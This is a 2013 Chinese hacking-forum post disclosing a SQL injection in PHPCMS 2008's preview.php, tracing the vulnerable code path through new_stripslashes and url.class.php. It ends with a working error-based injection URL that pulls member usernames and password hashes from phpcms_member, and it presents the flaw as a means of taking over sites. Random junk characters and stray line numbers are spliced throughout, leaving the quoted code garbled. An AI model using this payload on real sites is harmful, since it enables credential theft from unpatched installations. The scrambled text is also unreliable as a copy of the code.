中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
8 J/ n9 x" Z. z/ s0 t
; h! @2 u4 S' P4 D2 Q   要转摘的兄弟们,你们还是带个版权吧!    2 @3 g3 D0 q1 t; y

: q+ S: x. c' S% _9 b8 N" r  组织 : http://www.safekeyer.com/   (欢迎访问)4 t: U6 W9 B0 s: r
) k' C8 x& B% b/ c
author: 西毒    blog: http://hi.baidu.com/sethc5
+ d( N- Z) D& i6 s* I8 y
  Q# U; K% [' z3 B- s1 t     9 Z' b# U8 J  _, F5 M# b

( ~3 C# ?- d& K9 o+ F2 o其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.$ m7 ?. T( \8 {# ^! f

' a. m2 J6 [! J( M1 y- ?过程不明显的我就省略了。; F. ~3 Y7 `6 s, i0 i& k: z' R

8 p/ L0 z1 N+ O( B( o, i在preview.php 中第7行
; S3 o  W. l# a- J, G$ a! V% G7 p
0 c+ W6 ?3 |, x! q1 E$r = new_stripslashes($info);
  ?' L& @: v  _7 k) v  [+ z5 I3 r/ n8 Z, [7 D- g: c
我们跟踪new_stripslashes这个函数
; w1 w4 G4 u5 `- p, a# k% m+ P) s
0 R! L0 F5 @- N2 ?1 Y在global.func.php中可以找到; p& |: D. t: q# g* ^
( Y/ o1 m+ J% r: Y9 J% w6 U
1
* P+ R& m& [9 A% i& F6 |  Q/ l# E24 p9 u6 Z  j  h3 m* I
3
2 k' W* {5 G6 r4
% M8 F0 Q4 t* g. C! J5/ X: e8 `) Z" M+ X8 Y" a) g0 l7 l
6 function new_stripslashes($string)
- i  I: o' ?! I( J! F: K8 M{
' X5 ^. C  x) I. A& k% p1 {    if(!is_array($string)) return stripslashes($string);8 W0 B, ?. g* P* O7 y0 c. X% M
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);+ E1 h0 x  G/ t( L2 y) V0 g
    return $string;5 g3 x% G2 N8 c4 N9 \9 r
} 7 \& T6 f4 {# t" a* R% z
  I3 i; J9 p6 @7 a# z
这个函数的功能不用解释了吧1 e- E' x! p4 n/ h; o$ y
) o7 F: P# X7 W- E% O0 b  x0 ?% d
所以我们看具体应用点再哪?. c; b4 z5 I% i! y1 i) z# d0 h

# m* F8 }/ d- |, p# |( I1; b' {6 D2 j* q
2. ?# [# y$ }4 ~: M' g& l; ~. G& X1 w
3
# N+ |  v; `% m& x! b/ p42 ^( \4 [0 s: Y# n
5
. G& B3 s6 J7 g$ C/ S6
; ~* p/ O! v' n; }7/ ^' v* {' V+ ~9 \& g. L" W
8
. F, M" d3 G) m* \9: c" [7 K2 F" s. g4 i' _( ]: h
10
: B, t/ V! ?& Y11' u/ }8 s) Q/ N) a! K1 [: t' M
12. Y4 l+ m0 M4 `. Y+ Q2 i1 S* N
13
  A2 x: I& V6 c- p4 Y  ^( C14
2 p+ b0 }2 \! v' L' r15! J9 g, A% o; K$ R8 i3 T
16
% B: J; q& l! }17
/ w- y0 W+ e% Q% r" D/ f187 L/ ]( D* J9 G1 q
19
2 V! S/ [9 z5 y8 `3 x. I; ?205 c8 J$ P( z+ X: m$ o
217 w+ w; @- ?" S1 s4 T
22
; D% u( N6 k3 b. G- \232 p. c2 u: k9 T/ C" g/ l
24  @5 e  X! l2 q
25- p! |5 [4 o& Z2 q! q+ q
26
* `6 `3 p- T  h0 ?* T# w27
0 E6 P- m) g0 Z1 @28
7 G! z9 E# R' O( q& _29
: H2 i3 T4 _! X. h30
+ e( \2 q  A* o5 K31, s- u, i1 z" x. g9 ?) h+ |0 f+ B
323 G( [8 O4 i! R1 J1 `( X& i
338 B8 P/ k( g! B$ L# T5 J, ~  v
34
- b7 r! M6 B: ?8 r& t: r35 require dirname(__FILE__).'/include/common.inc.php';4 n+ ]6 @  m5 _' h9 G
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.# o/ j+ O' Z7 X; ?( ~7 [
require_once CACHE_MODEL_PATH.'content_output.class.php';
3 Y) @& O/ U0 U% [) {require_once 'output.class.php';
8 {$ Z4 g- T' `8 z8 mif(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了1 Q: G$ c+ K' S* B3 Q! H
$r = new_stripslashes($info);   //反转义了.....关键  l3 g' _  Z% r2 |1 E. x
$C = cache_read('category_'.$r['catid'].'.php');: p+ u; \/ d6 [, \* Z+ s- X9 I8 I
$out = new content_output();
- Z  v! h; n; @- Q9 l$ Q$r['userid'] = $_userid;
7 t: ~( q5 y3 p8 H; K% B9 o; ?$r['inputtime'] = TIME;- M2 d/ @, J9 c+ T. {: \
$data = $out->get($r);
+ f0 y* H. N1 hextract($data);
3 }9 x# s% I2 y3 q6 }$userid = $_username;' d4 D( B; z- Q! ?- g, m& v: m
for($i=1;$i<10;$i++)
& Q; b3 w; f: v: c{
# p3 l' }8 r8 H9 t0 P    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");6 [" I) b, [3 Z  L" ^
}$ s* s7 _3 U, V
        + t5 n8 i1 F# Y( I- ~
$array_images = $str_attachmentArray;/ R8 w9 E. |8 Y
$images_number = 10;
' R! Y- F7 q" w( I/ p/ q% g$allow_priv = $allow_readpoint = 1;
  U9 @* g# L& J0 }3 `% n$updatetime = date('Y-m-d H:i:s',TIME);, B3 w% z; f' y  N
        . N" m# c* r. }; p6 H: T9 e& F: {
$page = max(intval($page), 1);
, c$ h2 H( V. m2 T5 K8 \$pages = $titles = '';
) N' H" w& }  k1 x5 c* Vif(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈2 p& z/ p! r" S# Q0 T9 x/ j
{
+ n$ @5 `! U+ t- g, ?! w    require_once 'url.class.php';' U' e0 ^, t" Q$ ?" m" _. s2 h. ~
    $curl = new url();6 k9 L. _3 e3 {8 d- Y
    $contents = array_filter(explode('', $content));
+ P# h" m" c  f/ P    $pagenumber = count($contents);' _$ N. i! v2 X* |: P5 N+ C0 [% \9 A
    for($i=1; $i<=$pagenumber; $i++)' [) @% w2 O% D1 r0 z) {( p! R/ Z/ L- Y
    {
( e7 {4 _" r" V2 H        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
8 N( u0 t5 \' _% }  ]( f) A    } * Y; g) T) r* e* t- g% b
其中细节我就不说了...
! {9 I5 |  B4 E' r4 ?6 N: v8 o2 z! J8 q; [4 W3 P
我们看看这个$curl资源句柄中的show方法
; Y: z. a7 \( l! i: w% Y
3 L6 t) `' ]- c! M9 j! H1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
3 Y7 f  o% D4 {) X/ a4 C% P3 f( {2 J& r1 t1 I: p) A" l
1
" d# H8 o4 u% F+ J9 S& u2
& S3 U. O( o) L: v0 S3
& H/ D  e& i; i" j( F7 w0 S0 }4) ^' ]3 C' m  |, _* _8 B9 Z& y
5
) E- B. t# e) V9 D' j6. y8 e8 T9 c4 m2 f4 V
73 i8 l; @. N8 b) A
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')2 B# B# y7 t2 _9 n6 ^& ]& |! W
    {
/ i5 u8 R1 ^1 r3 b4 i! o        global $PHPCMS;; I* e( ?& j; @4 z% g
        if($catid == 0 || $time == 0 || $prefix == '')
3 I% P0 i2 w, ~        {
% _/ J" ?7 Q1 N7 f8 @$ _: G. g3 b            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
# t; K/ M! y( P+ G# [1 b" P% Y1 n            if($r['isupgrade'] && !empty($r['url']))) P0 j8 s, }! J  x$ x5 E; Z5 l
            {
7 M# s& D8 A) J! f0 A5 L
2 k- c( N! l$ w+ K所以结合前面的......我们x站了吧
% B) b! V' L" M& R% z* ?! \7 M  ]$ V3 q, ~* A/ S
给出exp
4 x+ \+ _! x" I" I0 Q) m! w) ?# i! J  c1 _5 f  S, P/ A) x
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​
" J- m1 |, ~+ A. k
  c5 g- B/ {5 h1 x% ^8 F) Q截图看一下# K% }+ C: w4 Y& e
8 M$ q- }% _1 m6 [1 E
最后真心说句,360收购漏洞计划,价格真心低.....1 R; }" v7 y' P2 ]
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2